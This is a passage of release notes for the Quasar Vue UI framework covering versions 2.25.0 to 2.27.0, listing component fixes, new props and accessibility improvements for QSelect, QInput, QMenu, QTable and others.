cover` cropped the image ([#&#8203;15652](https://github.com/quasarframework/quasar/issues/15652)) - fix(QInput): keep the masked display while a debounced emission is pending -> with `unmasked-value`, the first re-render after a keystroke rewrote the field to the raw text and it never recovered; the same happened after an IME composition - fix(QEditor): ignore holes in toolbar group definitions -> a stray comma in the `toolbar` prop rendered fine but crashed on entering source view ([#&#8203;16940](https://github.com/quasarframework/quasar/issues/16940)) - fix(QEditor): render toolbar tooltips on every platform -> they were gated behind a desktop user agent, leaving an iPad with a trackpad or mouse without tooltips and without the CTRL shortcut hints that matter exactly when a hardware keyboard is attached. Touch users additionally get the platform-standard press-and-hold tooltip - fix(QForm): report a child whose `validate()` returns nullish instead of breaking ([#&#8203;17921](https://github.com/quasarframework/quasar/issues/17921)) - fix(QDialog): forward the ESC keyup event through `hide()` -> the `hide`/`before-hide` events carried no payload on ESC dismissal, so listeners could not tell a keyboard dismissal from a backdrop one - fix(QSelect): let hardware keyboards navigate options on mobile too -> arrow keys, Home/End, PageUp/PageDown and typeahead could never focus an option on a non-desktop UA, and each arrow press still scrolled back to option 0. `aria-activedescendant` was never set there either, breaking the combobox pattern's active-descendant navigation ([#&#8203;16599](https://github.com/quasarframework/quasar/issues/16599)) - fix(QSelect): keyboard accessibility for the options dialog close button -> the button was outside WebKit's Tab loop, its focus indicator was hidden, and dismissing the dialog dropped focus on `body` instead of returning it to the control ([#&#8203;6858](https://github.com/quasarframework/quasar/issues/6858)) - fix(QSelect): raise the iOS keyboard when the options dialog opens -> the dialog input ended up DOM-focused but keyboardless, because nothing was focused inside the tap's user activation window ([#&#8203;16196](https://github.com/quasarframework/quasar/issues/16196)) - fix(QSelect): open the options dialog when typing on the closed control -> with `behavior="dialog"` and `use-input`, typing into the focused but closed control was a dead end: the text piled up while the filter early-returned ([#&#8203;15976](https://github.com/quasarframework/quasar/issues/15976)) - fix(QSelect): prefetch options to map a lazy loaded model value -> with `@filter` options and `map-options`, a preloaded model value displayed raw until a user interaction loaded the options. QSelect now fires that one filter call itself ([#&#8203;17983](https://github.com/quasarframework/quasar/issues/17983)) - fix(QSelect): emit the triggering event with `@popup-show`/`@popup-hide` -> both events always received `undefined` ([#&#8203;14678](https://github.com/quasarframework/quasar/issues/14678)) - fix(QSelect): shield disabled options from Backspace removal -> a disabled option's chip showed no remove icon yet still died to Backspace ([#&#8203;15645](https://github.com/quasarframework/quasar/issues/15645)) - fix(QSelect): reset the typed input when focus leaves through the popup content -> clicking non-focusable popup content (such as the `no-option` slot) left the typed filter text behind in the input ([#&#8203;16135](https://github.com/quasarframework/quasar/issues/16135)) - fix(QSelect): keep the page scroll position when the options dialog opens -> a leftover from the pinned-body era scrolled the page to top on dialog open, and it stayed there after dismissal - fix(QSelect): drive the option hover highlight per pointer, not per UA -> hybrids the UA calls mobile (iPad with a trackpad, hovering pens) never got the highlight; a touch contact's own moves are still ignored so taps and scroll-drags cannot drag it around - fix(QPopupProxy): declare the QMenu/QDialog pass-through props in its API -> all 31 forwarded props were missing from the API JSON, so the generated TS types rejected documented usage (e.g. `cover` with `transition-show`) for JSX/TSX consumers and the docs API card listed none of them. `separate-close-popup` is the one documented exception: the menu branch overrides it ([#&#8203;18530](https://github.com/quasarframework/quasar/issues/18530)) - fix(ui): arm ESC dismissal and focus containment on mobile platforms too -> see the note at the top (WCAG 1.4.13) - fix(ui): key focus and hover feedback on input capability instead of UA -> see the note at the top. Covers QCheckbox, QRadio, QToggle, QSlider, QTable row hover, QChip and the `q-focusable`/`q-hoverable` helpers - fix(ui): paint the manual focused state on mobile platforms -> the whole focus-helper visual sat under `body.desktop`, so the keyboard navigation QSelect just gained on mobile moved a focused state nothing painted ([#&#8203;16599](https://github.com/quasarframework/quasar/issues/16599)) #### Other - API JSON now declares every pass-through surface it had been hiding: QPopupEdit gains the 15 QMenu props that already forwarded at runtime (target, context-menu, dark, the hover trio, dismissal and focus flags, transitions) plus the chained `escape-key` event, and QVirtualScroll's entirely undocumented QList / QMarkupTable attrs forwarding is now declared. Both reach the generated TS types and the docs API cards - docs(api): the `error` prop reserves the bottom space even when `false` -> the `false` vs `null` distinction (reserve the error line vs no external validation at all) was undocumented and kept getting reported as a bug ([#&#8203;17662](https://github.com/quasarframework/quasar/issues/17662)) - A large internal cleanup pass: browser compat code obsolete under the new Baseline floor was removed (vendor-prefixed Fullscreen and Page Visibility, the passive-support probe, the RTL scrollLeft bug probe, QResizeObserver's `<object>` fallback, IE-era normalize rules), the hover engine shared by QMenu/QFab/QSelect moved into one composable, and the API builder gained mixin/extends features that let components pull pass-through definitions straight from their source component instead of hand-copying them #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.27.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.27.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.26.0...quasar-v2.27.0) > \[!IMPORTANT] > Two behavior changes worth checking before you upgrade: > > - **A click on the target no longer closes a hover-opened QMenu/QBtnDropdown while it is still animating into view.** A single move-and-click gesture can no longer dismiss what it just opened; once the menu is fully shown, clicking toggles it closed exactly as before. > - **Three language packs now report a standards-compliant `isoName`**: `kur-CKB` reports `ckb`, `mm` reports `my` and `sr-CYR` reports `sr-Cyrl`. The old import paths keep working as deprecated aliases for the whole of Quasar v2, but code comparing `$q.lang.isoName` against the old values needs updating. #### New - feat(QFab): open on hover -> new `hover`, `hover-delay` and `hover-hide-delay` props, the same contract QMenu and QBtnDropdown got in v2.26. The pointer can cross the gap between the main button and the actions without closing them (150ms grace period by default), touch devices keep tap-toggling, keyboard interaction is untouched, and focus is never moved - feat(QTd/QTh): new `col-name` prop -> a QTd or QTh wrapped in your own component inside QTable's `#body` slot can finally say which column it belongs to. The cells used to resolve their column from the vnode `key`, which Vue never forwards through `$attrs`, so a wrapped cell rendered nothing. Existing `key="..."` usage keeps working; `col-name` takes precedence ([#&#8203;17830](https://github.com/quasarframework/quasar/issues/17830)) - feat(ui/lang): canonical names for three language packs -> import `quasar/lang/ckb`, `quasar/lang/my` and `quasar/lang/sr-Cyrl` for Central Kurdish, Burmese and Serbian Cyrillic. `kur-CKB`, `mm` and `sr-CYR` remain available as deprecated aliases #### Fixes - fix(QMenu): ignore a click on the target while hover is animating the menu into view -> moving the pointer onto a `hover` menu's target and clicking it in one gesture closed the menu the hover had just opened. Also applies to QBtnDropdown ([#&#8203;18524](https://github.com/quasarframework/quasar/issues/18524)) - fix(QSelect): keep long selected values inside the parent -> a nowrap value made the field grow past its container instead of truncating ([#&#8203;18015](https://github.com/quasarframework/quasar/issues/18015)). Based on PR [#&#8203;18525](https://github.com/quasarframework/quasar/issues/18525) by Timur Arbaev - fix(QTable): honor the `key` set on the grid `item` slot content -> the mapped rows reached Vue as keyless Fragments, so removing a row recreated every card after it instead of moving the surviving instances ([#&#8203;18045](https://github.com/quasarframework/quasar/issues/18045)) - fix(QScrollArea): put the vertical thumb on the left side in RTL -> the bar moved to the left edge while the thumb stayed glued to the right one, because its inline `right` inset could not be flipped by the RTL stylesheet ([#&#8203;17943](https://github.com/quasarframework/quasar/issues/17943)) - fix(ui): make overlay content clickable over `.q-electron-drag` regions in Electron -> menus, dialogs, notifications and tooltips overlapping a draggable title bar lost the overlapping area to window dragging. An explicit drag class on the content itself still wins, and dialogs keep letting you drag the window ([#&#8203;17285](https://github.com/quasarframework/quasar/issues/17285)) - fix(use-mask): don't read a fill char that satisfies its own token as data -> with `fill-mask="0"` and reverse filling, the unmasked value grew by one fill char per keystroke ("0.01" became "00.01", "000.10", ...), which is the docs' own "Price with 2 decimals" example ([#&#8203;18523](https://github.com/quasarframework/quasar/issues/18523)) - fix(use-mask): keep the fill padding out of the unmasked value -> with `unmasked-value` and forward filling, a typed "1" over `###-##` with `fill-mask="0"` was reported as "10000"; with mask `AA-AA` and `fill-mask="A"`, "X" became "XAAA" ([#&#8203;18523](https://github.com/quasarframework/quasar/issues/18523)) - fix(use-mask): follow the data, not the render, when placing the caret -> when the fill char is itself a valid data char, "06" arrived as "60" and, on masks with a leading literal, "09" arrived as "90" ([#&#8203;18523](https://github.com/quasarframework/quasar/issues/18523)) - fix(use-mask): unmask masks that mix token types -> under `reverse-fill-mask`, every mask mixing letters and digits silently rendered nothing for ordinary values ("ab12" over `AA-##`), including values the control had just rendered itself ([#&#8203;18523](https://github.com/quasarframework/quasar/issues/18523)) - fix(use-mask): drop a right-aligned separator nothing filled -> "057" over `AA-##` rendered "-57", which unmasked back to "57", so what the field displayed was not a value it could read again ([#&#8203;18523](https://github.com/quasarframework/quasar/issues/18523)) - fix(ui/lang): repair strings across 51 language packs -> stray quotes and characters, leading/trailing/doubled spaces, broken interpolation, Cyrillic text inside the Latin `sr` pack, Simplified characters inside `zh-TW`, untranslated English left in translated packs, and year-range plural/agreement errors in some 40 languages ([#&#8203;18522](https://github.com/quasarframework/quasar/issues/18522)). Ukrainian was corrected first in PR [#&#8203;18522](https://github.com/quasarframework/quasar/issues/18522) by Ihor Diachenko #### Other - docs(popup offset): the `offset` prop of the position engine does not translate the popup, it inflates the anchor box, so `middle`/`center` origins are offset-invariant by construction. That is why QTooltip's horizontal offset reads as broken on its default `anchor="bottom middle"`. Documented on the API of QMenu, QTooltip, QBtnDropdown, QPopupEdit and QSelect, with the direction each offset component expands in, plus the note that QMenu's `cover` drops the offset entirely ([#&#8203;18212](https://github.com/quasarframework/quasar/issues/18212)) - The language-pack build validator now checks string values, not only pack shape: `validateStringArray` was declared with four parameters and called with three, so its loop never ran. Every string, array entry and formatter result is now checked for padding, doubled spaces and control characters, and formatters are probed across the counts that select their plural branches #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.26.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.26.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.25.1...quasar-v2.26.0) > \[!IMPORTANT] > A few behavior changes worth checking before you upgrade: > > - **QEditor no longer emits a `placeholder` attribute** (it was not valid on a div). Custom CSS targeting `.q-editor__content[placeholder]` must switch to `[aria-placeholder]`. > - **QSelect renders its fall-through attributes only on the focus target**, no longer also on the `.q-field__native` wrapper. Selectors or tests that matched the wrapper copy (or relied on the attribute matching two elements) need updating. > - **The touch/hover behavior of QTooltip, context menus, the touch directives and the slider family is now decided per interaction instead of by the mobile UA.** Hybrid devices change the most: touchscreen laptops and tablets with a mouse gain hover tooltips and right-click context menus, mobile UAs gain keyboard support on QSlider/QRange/QKnob, and QRange stops emitting UA-dependent SSR markup. > - **QDialog dismisses its backdrop on mousedown** instead of click, so a press on the backdrop with a menu open closes only the menu on desktop too, matching what touch already did. > - **QSlider/QRange/QKnob de-duplicate their emissions**: `change` fires only when an interaction actually moved the value, and a parent that does not sync the model prop back hears each value once per interaction rather than once per press/release/click. > - **Firefox now matches QField's autofill styling**: the stylesheet moved from `:-webkit-autofill` to the standard `:autofill`, so the `q-autofill` keyframe and `$input-autofill-color` apply there for the first time. #### New - feat(QMenu): open on hover -> new `hover`, `hover-delay` and `hover-hide-delay` props, also forwarded by QBtnDropdown (in split mode hovering either button opens it). A hover-open never steals focus from where you are typing, ESC still dismisses, submenus keep the chain open while the pointer travels between them, and touch devices keep tap-toggling. No effect when `context-menu` is set ([#&#8203;6776](https://github.com/quasarframework/quasar/issues/6776)) - feat(QRange): new `min-range` and `max-range` props -> constrain the width of the selection. Out-of-limits model values are coerced like `inner-min`/`inner-max` already do, dragging and the keyboard clamp each thumb to what the other thumb allows, and a minimum width blocks thumb crossover ([#&#8203;18182](https://github.com/quasarframework/quasar/issues/18182), [#&#8203;2100](https://github.com/quasarframework/quasar/issues/2100)). Based on PR [#&#8203;18182](https://github.com/quasarframework/quasar/issues/18182) by Teodor Atroshenko (thexeos) - feat(QTable): new `footer` slot -> renders a real `<tfoot>` element, so a totals/summary row can be made sticky through CSS. Works in default and virtual-scroll modes (not in grid mode) ([#&#8203;7570](https://github.com/quasarframework/quasar/issues/7570)) - feat(date): support the ISO week year -> new `getISOWeekYear()` util and the Moment/Day.js-compatible `GGGG`/`GG` format tokens, so masks like `YYYY-[W]ww` no longer render the wrong pairing at year boundaries (Jan 1st 2022 was formatted as 2022-W52 instead of 2021-W52) ([#&#8203;17088](https://github.com/quasarframework/quasar/issues/17088), credit: psevertson) - feat(Ripple): cancel an "early" ripple once the gesture can no longer end in a tap -> a touch that turns into a scroll/pan, or a pressed pointer dragged off the element, now fades the ripple out instead of leaving a full one behind with no click ever happening. On touch, painting waits 100ms (was 50ms) so flick-scrolls are cancelled before anything becomes visible - feat(ui): correct the CSS vendor prefixes across the stylesheet -> printing keeps the QCheckbox/QRadio/QToggle backgrounds in Firefox and Safari (`print-color-adjust`), Firefox gains the QField autofill styling (`:autofill`), the QFile/QUploader file button styling (`::file-selector-button`) and the QPagination input styling (`appearance`), while prefixes no engine reads any more are gone #### Fixes - fix(ui): accept `class`, `style`, `key` and `ref` on components in JSX/TSX -> the exported component types did not carry Vue's `PublicProps`, so TSX rejected the universal props. Templates were never affected ([#&#8203;8690](https://github.com/quasarframework/quasar/issues/8690)) - fix(QTooltip): decide the touch UX per interaction instead of per device -> mouse and pen hover show the tooltip on any device, so touchscreen laptops, tablets with a mouse and hovering styluses get hover tooltips the mobile-UA check denied them, while a touch press keeps the exact mobile behavior ([#&#8203;14763](https://github.com/quasarframework/quasar/issues/14763)) - fix(QTooltip): give a pressed stylus the touch UX -> a pencil held against the anchor got hover semantics and no selection suppression, because a pen reports the same `pointerType` whether it hovers or touches - fix(QTooltip): ignore focus moving *within* the anchor -> QBtn shuffles focus to an internal helper after every press, so clicking a QBtn with a tooltip flash-hid it on desktop - fix(useAnchor): serve context menus by capability instead of by mobile UA -> tablets with a mouse gain right-click context menus, the keyboard context-menu key works on mobile UAs, and touchscreen laptops get the same 300ms long-press with selection suppression phones have instead of engine-dependent native timing - fix(TouchHold/TouchRepeat): suppress text selection per interaction, not per device -> a touchscreen laptop no longer shows selection artifacts during a long-press, and a mouse press on a mobile UA no longer suppresses selection it never needed - fix(QSlider/QRange/QKnob): wire taps, presses and the keyboard on every platform -> mobile UAs rendered a focusable track that ignored arrow keys, and desktop had no click handler so assistive-tech clicks did nothing - fix(QSlider/QRange/QKnob): hand each value to a non-syncing parent once -> a controlled model that rejects the update heard the same value re-emitted by the press, the release and the compatibility click - fix(ui/slider): emit `change` only when the interaction changed the value -> pressing End with the thumb already at the maximum, clicking the value the slider already had, or dragging away and back all fired a spurious `change` - fix(QKnob): emit `change` only when a user adjustment lands a new value -> mounting, every parent model write and range clamping used to fire it, contradicting its own API description - fix(QRange): don't leave a thumb's focus ring behind after a track tap -> on touch nothing ever blurs the internal focus state, so the ring stayed on the tapped thumb through scrolling and taps elsewhere - fix(ui/slider): keep marker tick values float-exact on fractional steps -> a fractional `step` drifted (0.1 + 0.1 + 0.1 = 0.30000000000000004), so `marker-labels` rendered the drifted number and `marker-label-*` slot lookups missed - fix(ui): act on backdrop press so an open menu is dismissed alone -> with a menu open inside a QDialog, the first press on the backdrop closes only the menu on desktop too. Non-primary buttons are ignored - fix(QInfiniteScroll): resume polling when a scroll lock releases with the page at the top -> a window-target QInfiniteScroll that mounted, was re-keyed or left `disable` while a Dialog or overlay Drawer held the scroll lock never polled again ([#&#8203;18520](https://github.com/quasarframework/quasar/issues/18520)) - fix(QInfiniteScroll): do not auto-load a window scroll target from inside a fixed-positioned subtree -> content in a Dialog or fullscreen overlay never contributes to the document's scroll extent, so every `done()` triggered the next load forever (and reverse mode jumped the page behind the overlay to the bottom on mount). Such a placement now warns once, points at the `scroll-target` prop and revives itself if the fixed positioning goes away ([#&#8203;18520](https://github.com/quasarframework/quasar/issues/18520)) - fix(QSelect): render fall-through attributes only on the focus target -> attributes like QTable's rows-per-page `aria-label` matched two elements and broke strict single-element queries (Playwright `getByLabel`, Testing Library `getBy*`); the wrapper copy was invalid ARIA as well ([#&#8203;18519](https://github.com/quasarframework/quasar/issues/18519)) - fix(QSelect): always render the hidden form element, like QInput does -> a QSelect with `name`/`for` set but a null or empty model rendered no element at all, so `querySelector('[name=x]')` could not find it. Form submission and validation are unaffected ([#&#8203;17951](https://github.com/quasarframework/quasar/issues/17951)) - fix(QEditor): clicking the placeholder focuses the field on Chrome -> the placeholder rule now reads the `aria-placeholder` the component already renders, and the invalid `placeholder` attribute is no longer emitted ([#&#8203;18511](https://github.com/quasarframework/quasar/issues/18511)) - fix(QDrawer): hide the opposite drawer again when showing one in mobile behavior -> both drawers could end up on screen at once, stacking two backdrops - fix(QDrawer): apply `role` and `aria-*` attributes to the `aside` element -> they landed on the inner scrolling div, so naming or re-typing the landmark through QDrawer was impossible ([#&#8203;18059](https://github.com/quasarframework/quasar/issues/18059)) - fix(QField): hide shadow-text on blur while the field has an error -> an invalid field kept showing the shadow text after blur, overlapped with the label ([#&#8203;17155](https://github.com/quasarframework/quasar/issues/17155)) - fix(QInput): let the textarea line-height follow the font-size -> `.q-textarea` pinned its rows to 18px, so a bigger font gave cramped, overlapping lines that apps had to override with `!important`. The default layout is unchanged ([#&#8203;16772](https://github.com/quasarframework/quasar/issues/16772)) - fix(QItem): let overline/caption labels, header labels and side sections follow the item color -> an active (`.q-router-link--active`) or custom-colored item kept gray secondary text. Derived from `currentColor` via `color-mix()` at the same emphasis levels, with the legacy values kept as fallbacks ([#&#8203;18300](https://github.com/quasarframework/quasar/issues/18300)) - fix(QExpansionItem): keep the header icon/toggle colors when using `switch-toggle-side` ([#&#8203;18008](https://github.com/quasarframework/quasar/issues/18008)) #### Other - docs(QDate): the `events` and `options` array forms (and the String handed to their function forms) are always compared as `YYYY/MM/DD` -- the `mask` prop never applies to them. Documented on the API instead of changing it; the function form remains the customization point ([#&#8203;16735](https://github.com/quasarframework/quasar/issues/16735)) - docs(QDrawer): `behavior`, `breakpoint`, `show-if-above`, `persistent` and `no-mini-animation` were documented by example only. Adds a "Desktop and mobile behavior" section and corrects `show-if-above`, which was described as initial-render-only when it actually re-shows the drawer every time the layout goes back above the breakpoint - Regression coverage for the capability-based interaction rework: six cross-engine sweep scenarios (tooltip pointer wiring and pen lifecycle, context-menu ownership arbitration, backdrop press, the slider tap/keyboard burst, per-interaction selection suppression) plus a touch-capable Chromium pass in the matrix, and hardened QSlider/QRange suites #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.25.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.25.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.25.0...quasar-v2.25.1) > \[!IMPORTANT] > A few behavior changes worth checking before you upgrade: > > - **`lazy-rules` now clears an error while you type**: while an error is displayed, the field re-checks on each model change instead of waiting for the next blur. Rules that were only ever meant to run on blur will now also run on every keystroke for as long as the field is in error. > - **Async rules re-validate when the value changes or the field blurs mid-flight**: a slow rule that settles after the user moved on no longer paints its verdict onto the newer value; a second validation run is triggered instead. > - **The field's hint/error/counter area sits in normal flow**: a message taller than one line now grows the field instead of painting over the content below it. Geometry is unchanged for every one-line message, except item-aligned fields, which now reserve that one line (about 20px taller) instead of bleeding messages into the next item. Custom CSS leaning on `.q-field--with-bottom`'s `padding-bottom` or on the absolutely positioned `.q-field__bottom--animated` needs a second look. > - **QLayout can emit one extra `@scroll`**: a scroll update suppressed while the body scroll lock was held is now applied when the lock releases without restoring the position. #### Fixes - fix(QField/QInput/QSelect/QFile): `lazy-rules` re-validates on model change while an error is displayed -> the error clears as soon as what you type becomes valid, instead of staying up until the next blur ([#&#8203;17456](https://github.com/quasarframework/quasar/issues/17456)) - fix(QField/QInput/QSelect/QFile): re-validate when the model changes or the field blurs during a pending async validation -> a slow rule can no longer settle onto a value the user has already replaced, leaving the field showing a verdict for text that is no longer there - fix(QForm): report a child whose `validate()` throws synchronously -> that child now fails and gets focused, exactly as a rejected async rule already did, instead of the exception breaking the whole `submit()` - fix(QField): flow the hint/error/counter area in-layout -> a message longer than one line grows the field instead of painting over whatever follows it, and item-aligned fields no longer bleed their messages into the next item ([#&#8203;17807](https://github.com/quasarframework/quasar/issues/17807)) - fix(QLayout): re-sync the scroll state when a scroll lock releases on a changed route -> navigating away from inside a Dialog or under the Loading plugin left the layout holding the pre-navigation scroll state, so a reveal QHeader never reappeared at the top of the new page ([#&#8203;12994](https://github.com/quasarframework/quasar/issues/12994)) - fix(QMenu/QTooltip): re-anchor when the iOS visual viewport moves -> with the soft keyboard open or while pinch-zoomed, iOS scrolls only the visual viewport and no window scroll event fires, so an open popup ended up detached from its anchor by the scrolled amount ([#&#8203;16849](https://github.com/quasarframework/quasar/issues/16849)) - fix(QSelect): keep the field width stable while loading with `hide-dropdown-icon` -> with no icon to swap for, the default spinner appended net-new width and the field jumped on every filter round-trip. The default spinner is now suppressed when the dropdown icon is hidden (an explicit `loading` slot still renders), and the clearable icon keeps its place while loading instead of vanishing ([#&#8203;17375](https://github.com/quasarframework/quasar/issues/17375)) - fix(QTabs): show the overflow arrows when `align="right"` -> Blink and Gecko keep start-side overflow out of the scrollable overflow region, which collapsed the measurement and hid both arrows, leaving the overflowing tabs unreachable by pointer ([#&#8203;17847](https://github.com/quasarframework/quasar/issues/17847)) - fix(QInfiniteScroll): stop polling while a Dialog or an overlay Drawer scroll-locks the page -> opening one over an infinite scroll fired `@load` in a loop until the whole list had been fetched ([#&#8203;13257](https://github.com/quasarframework/quasar/issues/13257)) - fix(QInput): don't lose a typed char that equals a mask literal -> mask `11##` swallowed a typed "1" and `04## ### ###` a typed "0", because the char could not be told apart from the literal sitting at that position ([#&#8203;15624](https://github.com/quasarframework/quasar/issues/15624), [#&#8203;18051](https://github.com/quasarframework/quasar/issues/18051)) - fix(QInput): soft-keyboard backspace over a mask literal deletes the data char before it -> on iOS the browser removed only the literal, the remask put it straight back, and the edit became a silent no-op that left the caret misplaced, so every digit typed next landed one slot early and scrambled the value ([#&#8203;17639](https://github.com/quasarframework/quasar/issues/17639)) - fix(QInput): re-anchor the caret after a dynamic mask change -> with a mask computed from the value being typed, the caret could land inside the value after the layout shifted, so the next digits scrambled it and the last char read as never registering ([#&#8203;7777](https://github.com/quasarframework/quasar/issues/7777)) - fix(QInput): drop a stale debounced emission when the mask restores the model's value -> cutting a whole masked value and pasting it back before the debounce fired emptied the model while the input showed the pasted text ([#&#8203;17568](https://github.com/quasarframework/quasar/issues/17568)) - fix(ui): resolve a custom Dialog's `show`/`hide` through arbitrarily nested components -> a QDialog sitting behind two or more single-root wrapper components failed with "Incorrectly defined Dialog component" and never opened ([#&#8203;18159](https://github.com/quasarframework/quasar/issues/18159)) #### Other - Regression coverage for the two families reworked here: the validation composable (async races, the QForm submit flow, reset/unmount/disable, reactive rules) and the mask engine (chars equal to a literal, dynamic masks, backspace bursts, the multiple-masks pattern), plus cross-engine sweep scenarios that also run on the iOS Simulator, where the mask and QTabs bugs above behave differently than on any desktop engine #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.25.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.25.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.24.0...quasar-v2.25.0) > \[!IMPORTANT] > A few behavior changes worth checking before you upgrade: > > - **QMenu no longer claims `role="menu"`** and QBtnDropdown's toggle no longer emits `aria-haspopup` -- a menu may only contain `menuitem*` children, so the old markup was invalid. Declare `role="menu"` on the wrapped QList (its actionable QItems then expose themselves as menuitems automatically) and use the new `toggle-aria-haspopup` prop on QBtnDropdown. > - **SSR'd virtual lists now render their first slice on the server**, so item templates of a server-rendered QVirtualScroll/QTable run on the server too and must be SSR-safe. > - **QSlideTransition starts animating immediately** instead of 100ms later, which shifts the timing of every QTree / QExpansionItem / QStep slide. > - **Third-party language packs**: this release adds `colorPicker` and `uploader` sections plus several keys. All are optional in the types and read with optional chaining, so existing packs keep working and compiling -- but they will announce nothing for those internals until updated. #### New - feat(QTree): opt-in virtual scroll mode -> new `virtual-scroll` prop family, `@virtual-scroll` event and key-based `scrollTo(key, edge)`. Only the rows around the viewport exist in the DOM, so cost stays flat however much of the tree is expanded (22.6k nodes, dev mode: expand-all 2.2s -> 23ms, filter keystroke on a fully expanded tree 560ms -> 29ms, \~600 DOM elements at any scale) - feat(QTree): methods for the state v1 exposed through its per-node meta map -> `getIndeterminateNodes()`, `isIndeterminate(key)`, `getParentNode(key)` and tri-state `getTickState(key)` (returns the `true`/`null`/`false` a QCheckbox takes as its model); the header and body slot scopes gain an `indeterminate` boolean next to `ticked` ([#&#8203;17298](https://github.com/quasarframework/quasar/issues/17298)) ([#&#8203;12762](https://github.com/quasarframework/quasar/issues/12762)) - feat(ui): SSR renders the virtual scroll initial window -> server-rendered virtual lists emit their first slice instead of zero items, so crawlers and first paint finally see content. QTable's virtual-scroll mode inherits it; QSelect is unaffected - feat(QDate): roving-tabindex keyboard navigation for the day grid -> the calendar is a single Tab stop instead of up to 31. Arrows move by day/week, Home/End to the week edges, PageUp/PageDown by month (Shift for year), all crossing month boundaries and honoring RTL, the `options` prop and the navigation-min/max limits - feat(QTime): direct numeric keyboard entry on the time units -> typing digits on a focused hour/minute/second sets it directly, accumulating multi-digit values within 1.5s ([#&#8203;12467](https://github.com/quasarframework/quasar/issues/12467)) - feat(QSplitter): Enter collapses the primary panel to its minimum limit and restores the pre-collapse position on the next press ([#&#8203;12466](https://github.com/quasarframework/quasar/issues/12466)) - feat(QSlider/QRange): the `slider` role now sits on the focusable element, and the whole family gains Home/End - feat(QRange): WAI-ARIA multi-thumb slider semantics -> new `left-thumb-aria-label` and `right-thumb-aria-label` props - feat(QBtnDropdown): new `toggle` slot -> renders next to the dropdown arrow, so content like a QTooltip can finally attach to the toggle button in split mode ([#&#8203;16955](https://github.com/quasarframework/quasar/issues/16955)) - feat(QBtnDropdown): new `toggle-aria-haspopup` prop -> names the popup's role on the control that actually opens it, in both the regular and the split design - feat(QList/QItem): new `role` prop -> the documented override path (e.g. `menuitemcheckbox`, or `role="menu"` on a QList) - feat(QLayout): new `$layout-marginal-background` and `$layout-marginal-color` Sass variables for the marginal sections ([#&#8203;10476](https://github.com/quasarframework/quasar/issues/10476)) - feat(QDrawer): new `escape-key` event - feat(QField): the `control` slot scope gains `ariaInvalid`, `ariaDescribedby` and `ariaErrormessage` - feat(a11y): the component internals consumers cannot reach now carry accessible names -> QColor's view tabs, header value field and hue/opacity sliders, QUploader's icon-only buttons and hidden file input, QTable's selection checkboxes plus their empty column header, and QPagination's navigation landmark. Adds the `colorPicker` and `uploader` lang sections plus `table.selectAllRows`, `table.selectRow` and `pagination.label`, translated across all 72 language packs #### Accessibility - fix(QTime): implement the WAI-ARIA spinbutton pattern -> the hour/minute/second controls are localized spinbuttons instead of mislabeled toggle buttons; arrows adjust the focused unit (key-repeat works, the page no longer scrolls) and Home/End jump to the first/last valid value ([#&#8203;12467](https://github.com/quasarframework/quasar/issues/12467)) - fix(QDate): give the calendar controls real accessible semantics -> days announce their full localized date instead of a bare number, expose selection through `aria-pressed` and mark today with `aria-current="date"`; the view switcher becomes a real button that Space activates - fix(QOptionGroup): implement the WAI-ARIA radiogroup keyboard pattern -> a radio group is a single Tab stop with arrow-key navigation, wrapping, skipping disabled radios and mirrored in RTL ([#&#8203;17638](https://github.com/quasarframework/quasar/issues/17638)) - fix(QOptionGroup): announce a disabled group whatever its type -> `aria-disabled` was set only for radios - fix(QSplitter): implement the WAI-ARIA window splitter keyboard pattern -> the separator is a focusable, value-carrying `separator`; arrows move it by 1% (10px in `px` unit) and Home/End jump to the limits ([#&#8203;12466](https://github.com/quasarframework/quasar/issues/12466)) - fix(QSplitter): give the separator bar an accessible name -> new `separator-aria-label` prop - fix(QTabPanels/QTabs): complete the WAI-ARIA tabs pattern -> QTabPanel is focusable so keyboard and screen reader users can reach panel content with nothing focusable inside, and the `tabpanel` role lives solely on the panel components ([#&#8203;6560](https://github.com/quasarframework/quasar/issues/6560)) - fix(QStepper/QCarousel): correct the ARIA semantics of their panel patterns -> QStep drops the orphaned `tabpanel` role and becomes a group labeled with its title, conveying `aria-current="step"` even with header navigation off; QCarousel's navigation is exposed as the tabs pattern it actually is ([#&#8203;6560](https://github.com/quasarframework/quasar/issues/6560)) - fix(QEditor): complete the WAI-ARIA toolbar/textbox contract -> `role=toolbar` with a localized name, a single Tab stop with roving tabindex, arrow navigation (wrapping, RTL-mirrored) and Home/End ([#&#8203;15675](https://github.com/quasarframework/quasar/issues/15675)) - fix(QEditor,QTable): name the internals that reuse existing lang keys -> QEditor's toolbar toggles convey their state with `aria-pressed` instead of color alone, and the hyperlink editor's URL field gets a name - fix(QMenu/QList/QItem): derive valid ARIA roles instead of claiming `role=menu` ([#&#8203;17162](https://github.com/quasarframework/quasar/issues/17162)) - fix(QMenu): close the popup when TAB moves focus out of it -> focus no longer drops onto the browser UI leaving the menu open ([#&#8203;15675](https://github.com/quasarframework/quasar/issues/15675)) - fix(QMenu): mark its anchor as the 